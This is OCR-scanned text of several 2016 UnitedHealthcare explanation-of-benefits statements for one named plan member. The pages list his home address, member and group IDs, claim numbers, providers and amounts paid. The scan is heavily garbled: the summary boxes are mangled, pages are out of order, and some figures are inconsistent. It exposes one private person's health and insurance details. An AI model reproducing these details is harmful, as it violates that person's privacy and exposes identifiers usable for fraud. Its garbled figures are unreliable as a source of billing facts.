EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infonnation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S W0-03722"01 '017888-M0-1 e089-60311-AfUS ZISYMS United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER March 29, 2016 PO BOX 7 40809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: J WISHNEW Claim Number: 590019208901 Patient Account Number: 7915 Your Itemized Res onsibilit to Provider-• Date(s) of Type of Service Notes• Amount Plan Your Plan ·l Amount You Service Billed (-) Discounts (-) Palc:f .(=) _._ . rJ• r. Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 02/08/2016 OFFICE VISITS 01 $200.00 $144.35 $50.09 $0. $0.00 $5.56 $0.00 Claim Total: $200.00 $144.36 $50.09 $0.00 $0.00 $5.56 $0.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 01 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NElWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU 0\/VE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER VVEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Page 2 of 4 Use this EOB statement as a reference or retain as needed S WD1 United HealthCare Services;. Inc. GREENSBORO SERVICE i...ENTER PO BOX 740809 ATLANTA, GA 30374-0802 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 7 5068 722'01'017687,MQ.1eo89-60311,AFUS 22SYMS UnitedHealthcare ~ AUnilBltlaallh Qo..ql ~V Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 29, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 I Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Sum~ ary Detailed claim information is located pn the following page(s). . .. _. Amount Billed .. ._~ _ -..,.· 1 . · . --~ .-:_-' ~ --· · 1: ;· . $,2!)0.00 Thi~ is the total _amoµrit }tl~t your provid!!tr billed'.for-th_e ~ervices that wera provideq 19.you.:·: "j '· . . . "" ;:_, . ~ . . ... : :T::.: . -·­ _ ,· .· -Plan Qiscoµrits , .:~:··;;;· .. . . , _, . i -· . . _ -, •~-;: ·-· · .. .. · ,.: • :I, $1+4.~.~---Your,plan n~oti~tes_ dls~l.i:nt~ wit~ pr9vl(ters t~ s·ave .you-money. Th~ am:(ajn.frr.I~.Y: al~gJpctude : . .. · >=~services tha~:you are nottes~nsible to pay. ; :_ :· . ·, ·. . ·,: .:-~ti::_..:' _.. -·-~ .. '. :. Your Plan Paid -=· . ~;,~· ... ·; . ~ • _ -. $50~09 .This.is the portion cfttie·amount billed that was1paid by your plan. , • 4 , ' • STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000941682037 SWH-15051'03'0734gg.MQ.16067-Sl)311°Al=US 22SYMS UnitedHealthcare aA-~C.,,.,.,. United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER March 07, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Definitions of Key Terms Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Page 5 of 5 Use this EOB statement as a reference or retain as needed S WH-15051-02-073486-M0-16087-E0311•AFUS 22SYMS UnitedHealthcare d!A--""­ United HealthCare Services,,_Inc. GREENSBORO SERVICE vENTER March 07, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE IN .NETWORK I I $1,400.00 $700,00 $700.00 Deductible $700.00 $700.00 Met Deductible $5,000.00 $2,901 .2 1 $2,098.79 Out of Pocket OUT OF.NETWORK $1,400.00 $577.00 $823.00 Deductible $7,500.00 $0.00 $7,500.00 Out of Pocket Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Out of Pocket $10,000.00 $2,901 .21 $7,098.79 OUT OF NETWORK Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 5 000000923282067 S WH-15051'02"073-497-M0,16067-60311-AFUS 22SYMS UnitedHealthcare fJJA-Cla<>r..n-o-. United HealthCare Services;. Inc. March 07, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA.a.GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action underERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Avaiiability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com --e-mau:-consumerProtection@tcli:·~e-x~as-.-go_v _ ___ If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and morel For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STD-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed SWK-15051'01'0™96-M0-18087-60311-AFUS 22SYMS United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER March 07, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 585195519601 Patient Account Number: 001500741734 Date(s) of Service Type of Service Notes• Amount Billed (-) Plan Discounts 02/25/2016 Clalm Total: OFFICE VISITS D1 $138.00 $138.00 $54.79 $64.79 Claim Detail for JEFFREY DAMUKAITIS Provider: D MEYER Claim Number: 585920057001 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) Paid. \("') Deductible (+) Copay (-.-) Coinsurance (-r) Nor, Govered (=) Owe 02/17/2016 OFFICE VISITS D1 $140.00 $77.75 $56.03 02/17/2016 MEDICAL D1 $90.00 $43.50 $41.85 SERVICES Claim Total: $230.00 $121.25 $97.88 $0.00 $0.00 $6.22 $0 00 $0.00 $4.65 $0.00 $0.00 $10.87 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHO\M\J IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMITON COVERED HEALTH SERVICES. IFYOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review or this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 5 000000923282067 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 S WH-15051'01'0134DS·M0·16067·e0311•AFUS 22SYMS I UnitedHealthcar~ Im AUni-~~ I Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 March 07, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAlTIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify youlthat we processed your claim. Claims Sum~ ary Detailed claim information is located ?n the following page(s). • ,: · : · · ' ' ,·-·· · I · ·Amount B'1ll&d .: · :1 ,111•,I, ' • -.•. 11 ' . ; • \ •"·, ' ,. '· I '\ I' ~-1~' · 1•!,'l · · I ':, ·' ' ' · · . ' · : I ~•· ' II "' I -· •·1 1~i!. -• 1 $368.00 This is • the total am?i.mt that Your p'rovider blled1for the service~ thal·wei, pro~ed to you.," ' 1( : 1 Plan Discounts , .. ·: : , • :,;: • I _ 1 · · ,. • , _.: _ _ ... : ·, · '·-l ~, ;'.· $17_6.04 Your plan n~o~_ates discounts with providers tq sa~_you monilly. This lli,nount_rp.~Y.also,ifld1,.1~e ·~:., · selVices that you are not responsible to pay. 1 ' _ :: · ,. · .,., •·· ' . . . , Your Plan Paid · ..,I -. . i I .7-~ :, fhis ls_:the portici~ of the1amount ~-~!~ that ~~:s paid :by'~ur_pl~~t,­ .Total amount-you owe the providar(s) -~-· ~--·:....:-,,:.. -•·•·--:· .The pgrtion of the Amount Bill!Jd you owe the pro~er(s)..TI'is-amount does noOeft~ any....e.---.:. ;"' ;.. ..payme?t-you.~Y. have al~ady ma(ie,_at.U!~,~m~-Y'Ol!,~~ca_re.~Thjs.amo,urw1ay.l~(l(_u~.f+,-YPU$ . _ deduqti!)le, oo-pay,_coilJS_Y.ran~e and/or no.f! _S:OVFred J:_1'large~.;_!_h1s amount dO$S ~.l:include any. ..:_: _ 1, _ . . _-:-:··paym~l]S.f!!ad~.tot~ ~!,!~~~~~-If~ JJ~~~t was_;r:"!d~,_dl~yt_q_ the su~1~r! Y.Q~t~e ., . : -. :­-;~ , .., .. -~. . .,~~ubs~f?.j?,e.t.1s._r;e~,x>9s1bl!!..,J~u.~ayt~,.the .P~~ci~n._fa,~~~Y..OE.~~r;l'le!!;l,lt;i.;98!8 pro/,s_1~~~I<·.;-.,·"._.c,i:.:, · ,.. ~ W1en ®Qm!na!~n~trbe!leflts aptJli_es, 'th.l$~~Witw!II.Jnc,~$,P~.YffiS~,_IJJ~~t;9t!l~-~pJ~~~nber::~: STD-EOB Page 1 of 5 Use this EOB statement as a referencJ or retain as needed 0000009232820!17 I SWQ,1S467"03"072948-MO-16082-60311·AFUS 32SYMS UnitedHealthcare I!!} AtHadid;h Cn,9~ United HealthCare Services,._ Inc. GREENSBORO SERVICE 1.-ENTER PO BOX 740809 March 22, 2016 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your daim and benefit information. Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has bean met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB S WQ-15467"03-072947-M0-10082-00311-AFUS 32SYMS UnitedHealthcareIJJA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE \.,ENTER PO BOX 740809 March 22, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UniteclHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining _ JEFFREY An_n_u_al~ __(,..,-)'-Ap·"'-plied to (=)Remaining -FAMILY Amount ate--Balance Amourit Date Balance Relationship: EE .IN NETWORK IN NETWORK l t,400.lio $700.00 $700.00 Deductible $700.00 $700.00 Met $10,000.0(} $3,190.14 $6,809.86 Deductible Out of Pocket $5,000.00 $3,190.14 $1,809.86 Out of Pocket OUT Of NE1WORK I I ;_._. ~-=, OUT OF NETWORK .. .. ·-$2,800.00 $0.00 $2,800.00 I Deductible Deductible Out of Pocket $1,400.00 $577.00 $823.00 $15,000.00 $0.00 $15,000.00 $7,500.00 $0.00 $7,500.00 Out of Pocket STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed S WQ-15467'02"072946-M0-16082-60311-AFUS 32SYMS Unit.edHealthcare 1W Al.tmlltsath ~~ United HealthCare Services,_ Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 March 22, 2016 ATLANTAA GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. D2 -THE DISCOUNT SHOVVN IS YOUR SAVINGS. YOUR NElWORK FACILITY OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE \/1/HATYOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IFYOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 000000936025985 S W0-15467'02'072945-M0-16082-60311 -AFUS 32SYMS UnitedHealthcare ,._°"'4'Uff!III" United HealthCare Services;.. Inc. March 22, 2016 GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: PRISM MEDICAL Claim Number: 586870913401 Patient Account Number: 206199 Date(s) of Type of Service Notes* Amount Plan Y-our Plan Service Billed (-) Discounts (-) Paid (=) 02/16/2016 MEDICAL 0 1 $226 .92 $158.50 $51.58 SUPPLIES Claim Total: $226.92 $158.50 $61.58 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: METHODIST RICHARDSON Claim Number: 589460878901 Patient Account Number: RAVX1095 Date(s) of Type of Service Notes* Service Amount Billed (-) Plan Discounts (-)i Y-oull' Plan Paid 01/27/2016 DIAGNOSTIC SERVICES Claim Total: 02 $5,158.00 $6,168.00 $3,692.00 $3,692.00 $1 ,319.40 $1,319.40 Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. ST0-EOB Page 3 of 6 Use this EOB statement as a reference or retain as needed S W0-15487'01'072944-M0-16082-WJ11-AFUS 32SYMS United HealthCare Services;,. Inc. GREENSBORO SERVICE 1..,ENTER March 22, 2016 PO BOX 740809 ATLANTA;, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com tor all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: G POWELL Claim Number: 586466072401 Patient Account Number: MK020738 Date(s) of Type of Service Notes• Amount Plan Service Billed (-) Discounts 03/0212016 OFFICE VISITS D1 $175.00 $96.08 Claim Total: $176.00 $96.08 Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 586814694801 Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts i (-) : Your PIMt Paid - Deductible Your Itemized Res onsibility to Provider** (-r) Copay (T) Coinsurance (+) Non Covered (-) Amount You Owe 03/08/2016 OFFICE VISITS Claim Total: D1 $199.00 $199.00 $73.91 $73.91 $112.58 $112.68 $0.00 $0.00 $0.00 $0.00 $ 12.51 $12.51 $0.00 $0.00 $12.51 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB I S WQ-15467'01"072943-MQ-16082-&l311-AFUS 32SYMS I UnitedHealthcar~ United HealthCare Services,.&. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com ' for all your claim and benefit information. March 22, 2016 Member/Patient lnfonnation JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship; EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located oh the following page(s). I _ Plan'Dlsc~ · . · [ . . . :,':.: . · . ·· · . $4,020.4ij Your_plan,negot_lates disoouots with providers to save you money. This c!mount may c!~ ii:icl_ude ' ....~.. · :._ .services_that ~u _are;n~t ~Po~~lble to_·P,j::-~ ; ... " . -''· · .,.· · -~ ~-•__ ·· .:, · ;,; \: :/ 0 • <· ·". -Your Plan·Paid . . · .. : ~-··, :;; $1,564.59 _ _ . __To~I an:,~uot-yo~-owe-tha~P,tovidarfs)-~---~ I=:::---~~-, .,.-, _-·-_i. ---~·-·-: ., •..• ,:._..., __ . ··:.-:---The, port19ruof.,tbe-AmQurit~~1Red_ycu oweJh.e"pro~der(s)."~is_ai;nount doe~'iOOlarefject-.any·-::-,::,:'._:.....:.,.,.. -~-$~7~,-~;~' ~pa:,m_en~,~i.i.m~v-1:\~~~•~8:~V:}!l~e at,t~9!-1im~lY9.!A.~!y~ ,~~-'-~1'.h!_~{~~2~t,~ef1io~~;~:~f~ 'fF ~ --.--":""· r:· d~u~tibl~;;~J?-•Y•-~ ,n~,U.(\O~.~rn1/Q,(~.1'1~~.;l_e~sh~_rg~ ~;f:!'l~..alJ,l0'°'rit9.Q~1pc>t nfly'(j"~qy'9i,_!Ji:,~ -~-· _. _ ·:=... . · payn1en~-.m.~de~t~~~y~crlbe~.-s-!f.a_P,.~Ym~JjW.,~"111__!._c!!~~•f8-~Y.J.9.l~~'~u~(lnb,~. Y9uf!h~\--..'.....:.. ...----=.-::_-~ ; ~-,..,!• ••. su~a'lber ~ ~p0.nsible_foq~ayiog the physi~!l~lity_o.tmh~[•healtti ~~.,;.Ri'qf~~nat i· ::_ ~\~. . * WtJen coordi11ation;of be.nefl!S applies, th~~~_!Q!?untwi~ ~~~_Q.&YfillID.~.-m~tte to the ~~~~tib:er'. _ STD-EOB Page 1 of 6 Use this EOB statement as a reference or retain as needed 0000009300:!5985 S WO-0Ei090'02"029434-MO-16357-00311-AFUS 22S'l'CP United HealthCare Services,i,. Inc. GREENSBORO SERVICE l.,ENTER December 22, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date BalanceRelationship: EE ~ IN NETWORK -,..;. .!..;~ L-~ IN,NETWORK:r ­ / '' " ,, $1,400.00 $700.00 $700.00 Deductible Deductible iffio.oo $700.00 Met Out of Pocket $10,000.00 $5,000.00 $5,000.00 Out of Pocket $5,000.00 $5,000.00 Met ;OU_T OF'NE1W9RK but oi= NElWORK ,, ' ,,: '" ' Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 SW0.06090-02"029-433-M0-16357-60311 -AFUS 22SYCP UnitedHealthcare IWA--c:.nw,, United HealthCare Services;.. Inc. December 22, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA_.. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID --card·(first-name, last-name, memberJ D, group numb~r and da~ irt'1:_ Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implementedstrict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S WO-06090•01"029432-MO-16357-ID311-AFUS 22SYCP United HealthCare Services"' Inc. GREENSBORO SERVICE \.,ENTER December 22, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: L FULLER Claim Number: 626606098601 Patient Account Number: 7358 Date(s) of Type of Service Notes• Amount Plan . YourPia3 Amount You Service Billed (-) Discounts (-) ·: . Paid ~ ("') Ded1..ctible (+} Copay (-t-) Coinsurance (-t-) Non Covered (-} Owe t -=• -=-1 12/06/2016 SPECIAL MEDICAL D1 $375.00 $156.51 $218.49 Claim Total: $375.00 $156.51 $218.49 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 01 -THE DISCOUNT SHOWN JS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE. MAY INCLUDE \/\/HAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WE.BSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000001147367498 United HealthCare Services,i. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 S WO-08090"01•029431-MO-16357-60311-!\FUS 22SVCP 1 UnitedHealthcar~ , A lntedHeallh (me,Qimpany Have more questions about your claim? 